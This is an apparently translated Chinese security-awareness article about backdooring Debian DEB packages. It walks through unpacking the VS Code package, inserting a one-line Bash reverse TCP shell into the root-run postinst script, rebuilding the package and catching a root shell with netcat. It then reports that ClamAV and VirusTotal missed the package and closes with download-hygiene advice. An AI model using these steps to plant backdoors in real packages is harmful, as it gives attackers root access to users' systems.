目录
要点
- DEB 软件包很容易被植入后门,当您使用 root 权限安装它们时,攻击者就可以将恶意代码注入到您的系统中。
- 受感染的 DEB 软件包很难检测,因为防病毒软件或 VirusTotal 等云解决方案可能不会标记它们。
- 为了保护自己,请避免从随机站点下载 DEB 软件包,坚持使用官方下载站点或社区信任的站点,并考虑安装安全工具来保护您的 Linux 系统免受网络攻击。
DEB 文件是软件包,是基于 Debian 的 Linux 发行版上发布软件的主要格式。
要安装 DEB 软件包,您必须使用具有 root 权限的软件包管理器,例如 dpkg。 攻击者利用这一点并将后门注入这些包中。 当您使用 dpkg 或任何其他包管理器安装它们时,恶意代码也会同时执行并危害您的系统。
让我们具体探讨一下 DEB 软件包是如何被后门的以及您可以采取哪些措施来保护自己。
DEB 软件包如何被后门?
在了解 DEB 包如何被后门之前,让我们先了解一下 DEB 包内部的内容。 为了进行演示,我将从 Microsoft 官方网站下载 Microsoft Visual Studio Code DEB 包。 如果您想在 Linux 上安装 VS Code,则需要下载同一包。
下载: 视觉工作室代码
现在您已经下载了目标包,是时候解压它了。 您可以使用 dpkg-deb 命令解压 DEB 包,并使用 -R 标志,后跟存储内容的路径:
dpkg-deb -R <package_name> <path>
这应该会提取 VS Code 包的内容。
进入该文件夹,您会发现多个目录,但是,我们的兴趣仅在于 DEBIAN 目录。 该目录包含在安装过程中以 root 权限执行的维护者脚本。 您可能已经发现,攻击者修改了此目录中的脚本。
为了进行演示,我将修改 postinst 脚本并添加一个简单的单行 Bash 反向 TCP shell。 顾名思义,它是一个在系统上安装软件包后执行的脚本。
它包含完成配置的命令,例如设置符号链接、依赖项处理等。 您可以在互联网上找到大量不同的反向 shell。 它们中的大多数都会以相同的方式工作。 这是反向 shell 单行示例:
bash -i >& /dev/tcp/127.0.0.1/42069 0>&1
命令解释:
- bash:这是调用 Bash shell 的命令。
- -i:该标志告诉 Bash 以交互模式运行,允许实时命令 I/O。
- >& /dev/tcp/ip/port:这会将标准输出和标准错误重定向到网络套接字,本质上是建立到
和 的 TCP 连接。 - 0>&1:这将输入和输出重定向到同一位置,即网络套接字。
对于那些不熟悉的人来说,反向 shell 是一种代码,当在目标计算机上执行时,它会启动与攻击者计算机的连接。 反向 shell 是绕过防火墙限制的好方法,因为流量是从防火墙后面的计算机生成的。
修改后的脚本如下所示:
正如你所看到的,一切都是一样的,但只添加了一行,即我们的 Bash 反向 shell。 现在您需要将文件重新构建为“.deb”格式。 只需将 dpkg 命令与 –build 标志一起使用,或将 dpkg-deb 与 -b 标志一起使用,后跟提取内容的路径:
dpkg --build <directory>
dpkg-deb -b <directory>
现在,带后门的 DEB 软件包已准备好发送到恶意站点。 让我们模拟一个场景,受害者已将 DEB 软件包下载到其系统上,并像任何其他常规软件包一样安装它。
顶部终端窗格用于受害者的 POV,底部终端窗格用于攻击者的 POV。 受害者正在使用 sudo dpkg -i 安装软件包,而攻击者正在 Linux 中使用 netcat 命令耐心地侦听传入连接。
安装完成后,请注意攻击者获得了反向 shell 连接,并且现在具有对受害者系统的 root 访问权限。 现在您知道 DEB 软件包是如何被后门的了。 现在让我们了解如何保护自己。
如何检测 DEB 包是否是恶意的
既然您知道受感染的 DEB 软件包是一回事,您一定想知道如何找到受感染的软件包。 对于初学者,您可以尝试使用 Linux 防病毒软件,例如 ClamAV。 不幸的是,当对包运行 ClamAV 扫描时,它并没有将其标记为恶意的。 这是扫描的结果:
因此,除非您拥有高级防病毒解决方案(这并不能保证您不会被黑客攻击),否则很难检测到恶意 DEB 软件包。 让我们尝试使用像 VirusTotal 网站这样的云解决方案:
如您所见,VirusTotal 没有检测到任何问题。 好吧,保护自己免受此类威胁的唯一方法是遵循基本的安全卫生,例如不从未知来源下载文件,始终检查文件的哈希值,并且通常避免安装可疑软件。
互联网上充满了此类威胁。 上网冲浪而不丢失数据的唯一方法是保持警惕并浏览受信任的网站。 此外,对于 Linux,您还应该尝试查找您正在下载的软件是否有 AppImage 变体,因为它们是独立的并且可以沙箱化,从而与您的系统保持联系。
不要从随机站点下载 DEB 软件包!
DEB 软件包本质上并不坏,但是,攻击者可以轻松地将其武器化并将其发送给毫无戒心的用户。 正如所演示的,DEB 包可以轻松打开和修改,只需几个命令即可添加自定义代码,使其成为传播恶意软件的常见载体。
即使是 DEB 软件包上的简单后门也无法被顶级防病毒解决方案捕获。 因此,最好的做法是安全行事,在网上冲浪时保持常识,并始终仅从官方下载网站或社区信任的网站下载软件。
既然您已经意识到从新站点或未知站点安装 DEB 软件包所带来的安全风险,那么在安装新软件时应该小心谨慎。 然而,仅仅注意安装的内容是不够的。 您的 Linux 系统也可能成为网络攻击的目标。
为了确保您在遭受网络攻击时的安全,您应该考虑安装网络安全工具。